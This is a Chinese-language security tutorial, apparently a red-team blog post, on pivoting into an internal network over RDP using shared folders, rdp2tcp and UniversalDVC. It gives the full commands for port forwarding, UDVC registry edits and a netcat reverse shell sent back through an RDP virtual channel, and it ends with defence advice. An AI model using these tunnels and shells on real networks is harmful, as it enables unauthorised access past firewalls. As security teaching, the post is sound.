0x00 前言
最近从@cpl3h的博客中学到了使用远程桌面协议建立通道的方法。
本文将对这个方法进行整理,结合自己的经验,添加个人理解。
学习地址:
https://ijustwannared.team/2019/11/07/c2-over-rdp-virtual-channels/
0x01 简介
本文将要介绍以下内容:
· 使用场景
· 使用共享文件建立通道
· 使用rdp2tcp建立通道
· 使用UniversalDVC建立通道
· 利用分析
· 防御建议
0x02 使用场景
由于防火墙的设置,只能连接一台Windows服务器的远程桌面,那么如何以这台Windows服务器为跳板进入内网。
简要描述如下图:
0x03 使用共享文件建立通道
通过读写RDP Client和RDP Server之间共享的文件作为数据传输的通道。
POC:
https://github.com/outflanknl/external_c2
这是根据Cobalt Strike中External C2规范编写的POC。
实现原理:
建立远程桌面连接时,RDP Client和RDP Server之间可以创建共享文件夹,通过读写共享文件作为数据传输的通道。
1.Windows系统连接远程桌面并开启文件共享
(1)通过配置mstsc.exe开启文件共享
如下图:
(2)使用FreeRDP开启文件共享
下载地址:
https://cloudbase.it/freerdp-for-windows-nightly-builds/
命令实例:
wfreerdp /v:192.168.112.129:3389 -u:1 -p:Test123! /cert-ignore /drive:share1,c:\
2.Kali系统连接远程桌面并开启文件共享
(1)使用xfreerdp开启文件共享
将本地文件夹/tmp共享的命令如下:
xfreerdp /v:192.168.112.129:3389 /u:1 /p:Test123! /cert-ignore /drive:share1,/tmp
(2)使用rdesktop开启文件共享
将本地文件夹/tmp共享的命令如下:
rdesktop 192.168.112.129 -u1 -pTest123! -r disk:share1=/tmp
在RDP Server上,可通过\\tsclient\访问共享的文件资源。
通过文件读写来传输数据的具体细节可参考xpn的文章:
https://blog.xpnsec.com/exploring-cobalt-strikes-externalc2-framework/
0x04 使用rdp2tcp建立通道
rdp2tcp使用RDP虚拟通道功能来复用端口。
可用的功能:
· 正向TCP端口转发
· 反向TCP端口转发
· 处理标准输入/输出转发
· SOCKS5代理
POC:
https://github.com/V-E-O/rdp2tcp
测试系统: Kali2 x64
1.下载并编译rdp2tcp
(1)安装mingw-w64
命令如下:
apt-get install mingw-w64
(2)下载rdp2tcp
git clone https://github.com/V-E-O/rdp2tcp.git cd rdp2tcp
(3)修改配置文件
rdp2tcp默认不支持编译64位的exe,所以这里需要修改配置文件,增加编译64位exe的配置信息。
修改文件Makefile,新的内容如下:
all: client server-mingw64 client: client/rdp2tcp client/rdp2tcp: make -C client #server-mingw32: server/rdp2tcp.exe #server/rdp2tcp.exe: # make -C server -f Makefile.mingw32 server-mingw64: server/rdp2tcp64.exe server/rdp2tcp64.exe: make -C server -f Makefile.mingw64 clean: make -C client clean # make -C server -f Makefile.mingw32 clean make -C server -f Makefile.mingw64 clean make -C tools clean
注:
因为我们使用了64位的操作系统,并且安装了64位的mingw,所以这里设置为生成64位的exe。
新建文件/server/Makefile.mingw64,内容如下:
BIN=rdp2tcp64.exe CC=i686-w64-mingw32-gcc CFLAGS=-Wall -g \ -D_WIN32_WINNT=0x0501 \ -I../common # -D_WIN32_WINNT=0x0501 # -D_WIN32_WINNT=0x0501 -DDEBUG LDFLAGS=-lwtsapi32 -lws2_32 OBJS= ../common/iobuf.o \ ../common/print.o \ ../common/msgparser.o \ ../common/nethelper.o \ ../common/netaddr.o \ errors.o aio.o events.o \ tunnel.o channel.o process.o commands.o main.o all: clean_common $(BIN) clean_common: $(MAKE) -C ../common clean $(BIN): $(OBJS) $(CC) -o [email protected] $(OBJS) $(LDFLAGS) %.o: %.c $(CC) $(CFLAGS) -o [email protected] -c $< clean: rm -f $(OBJS) $(BIN)
(4)编译
命令如下:
make
生成以下文件:
· /server/rdp2tcp64.exe
· /client/rdp2tcp
2.安装xfreerdp
Kali系统默认安装的xfreerdp不支持TCP重定向的功能。
如下图:
如果支持TCP重定向的功能,程序回显的内容如下:
需要重新下载编译xfreerdp,这里我使用的版本是freerdp-nightly。
参考链接:
https://ci.freerdp.com/job/freerdp-nightly-binaries/
这里我使用的发行版为bionic,完整的安装命令如下:
echo "deb http://pub.freerdp.com/repositories/deb/bionic/ freerdp-nightly main " >>/etc/apt/sources.list wget -O - http://pub.freerdp.com/repositories/ADD6BF6D97CE5D8D.asc | sudo apt-key add - apt-get update apt-get install freerdp-nightly
对应的安装路径为/opt/freerdp-nightly。
启动新版的xfreerdp,对应的路径为: /opt/freerdp-nightly/bin/xfreerdp。
新版的xfreerdp支持TCP重定向,如下图:
3.使用xfreerdp连接远程桌面并建立通道
这里介绍正向TCP端口转发的方法。
(1)执行xfreerdp并开启TCP重定向功能
Kali系统上执行:
/opt/freerdp-nightly/bin/xfreerdp /v:192.168.112.129:3389 /u:1 /p:Test123! /cert-ignore /rdp2tcp:/root/rdp2tcp/client/rdp2tcp
(2)将rdp2tcp64.exe上传至RDP Server并执行(不需要管理员权限)
执行结果如下图:
命令如下:
cd rdp2tcp/tools python rdp2tcp.py
添加正向端口转发(本地445->192.168.112.129:445)的命令如下:
python rdp2tcp.py add forward 127.0.0.1 445 192.168.112.129 445
输出结果如下图:
(4)访问本地445端口
访问本地445端口的数据被转发至192.168.112.129的445端口,如下图:
正向端口转发建立成功。
0x05 使用UniversalDVC建立通道
UniversalDVC是以注册UDVC插件的形式,使用动态虚拟通道建立通道。
POC:
https://github.com/earthquake/UniversalDVC
测试系统: Win7 x64
1.安装UDVC插件
下载编译好的64位文件,地址如下:
https://github.com/earthquake/UniversalDVC/files/1880297/UDVC-x64.zip
将其中64位的dll保存在%windir%\system32下。
注册dll的命令如下:
regsvr32.exe UDVC-Plugin.x64.dll
如下图:
UDVC插件注册后将创建注册表项用来保存配置信息。
配置文件的位置:HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin
默认监听的端口为31337
注:在RDP Server启动UDVC-Server.exe后,UDVC插件才会开启监听端口。
2.实现端口转发的功能
(1)将Mode设置为Socket server mode (0 – default)
修改注册表的cmd命令为:
reg add "hkcu\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin" /v mode /t REG_DWORD /d 0 /f
(2)设置监听端口为1234
修改注册表的cmd命令为:
reg add "hkcu\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin" /v port /t REG_SZ /d 1234 /f
(3)启动远程桌面客户端
命令如下:
mstsc.exe
连接远程桌面。
(4)RDP Server启动UDVC-Server.exe
命令如下:
UDVC-Server.x64.exe -c -p 80 -i 192.168.112.129 -0
(5)RDP Client打开浏览器并访问http://127.0.0.1:1234
获得内网192.168.112.129:80的数据。
通道建立完成,简要流程图如下图:
3.实现反弹shell的功能
RDP Server反弹一个shell至RDP Client。
RDP Client能够实时控制RDP Server,执行cmd命令。
(1)将Mode设置为Socket client mode (1)
修改注册表的cmd命令为:
reg add "hkcu\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin" /v mode /t REG_DWORD /d 1 /f
(2)设置监听端口为1234
修改注册表的cmd命令为:
reg add "hkcu\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin" /v port /t REG_SZ /d 1234 /f
(3)启动远程桌面客户端
命令如下:
mstsc.exe
连接远程桌面。
(4)RDP Client使用nc监听本地端口1234
命令如下:
nc64.exe -lvp 1234
(5)RDP Server启动UDVC-Server.exe
命令如下:
UDVC-Server.x64.exe -p 5678 -0
此时将建立一条动态虚拟通道:RDP Server->RDP Client:1234
并且RDP Server开启监听端口5678。
(6)RDP Server使用nc连接本地端口5678并指定重定向的程序为c:\windows\system32\cmd.exe
命令如下:
nc64.exe 127.0.0.1 5678 -e c:\windows\system32\cmd.exe
通道建立完成,简要流程图如下图:
0x06 利用分析
对于这三种建立通道的方法(共享文件、rdp2tcp和UniversalDVC),利用前提是已经获得了连接远程桌面的权限。
严格地说,利用这台远程桌面服务器,就已经能够对内网资源进行访问。
研究这种方法的意义在于某些情况下远程桌面服务器无法运行我们的程序。
例如远程桌面服务器为Windows系统,而我们想执行的程序只支持Linux,这就避免了考虑程序移植的问题。
0x07 防御建议
1.外网远程桌面服务器的安全
如果攻击者能够使用远程桌面协议建立通道,代表攻击者已经获得了这台服务器的权限,所以对于开放外网访问的远程桌面服务器,不仅要及时更新补丁,还要注意防范口令爆破
2.使用组策略禁用重定向的设备
组策略位置:
Computer Configuration->Administrative Templates->Windows Components->Remote Desktop Services->Remote Desktop Session Host->Device and Resource Redirection
0x08 小结
本文参考@cpl3h的文章,对使用远程桌面协议建立通道的方法进行整理,结合自己的经验,添加个人理解,分析利用思路,总结防御建议。